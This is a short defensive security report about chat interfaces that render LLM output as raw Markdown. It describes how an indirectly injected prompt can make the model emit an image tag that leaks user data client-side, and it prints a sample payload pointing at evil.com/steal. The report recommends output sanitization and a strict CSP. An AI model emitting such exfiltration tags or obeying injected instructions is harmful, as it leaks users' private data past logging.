Report #71204
[gotcha] LLM outputs rendered as raw Markdown allowing blind data exfiltration via image tags
Sanitize LLM outputs to strip unapproved image tags and URLs, or enforce a strict Content Security Policy \(CSP\) in the chat UI to prevent outbound requests to arbitrary domains.
Journey Context:
Security focuses on the LLM backend, but the frontend is the actual attack vector. If an indirectly injected prompt instructs the LLM to output '\!\[alt\]\(https://evil.com/steal?data=USER\_PRIVATE\_DATA\)', the user's browser automatically fetches the URL, exfiltrating the data. This bypasses backend logging because the exfiltration happens client-side.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T02:05:35.165469+00:00— report_created — created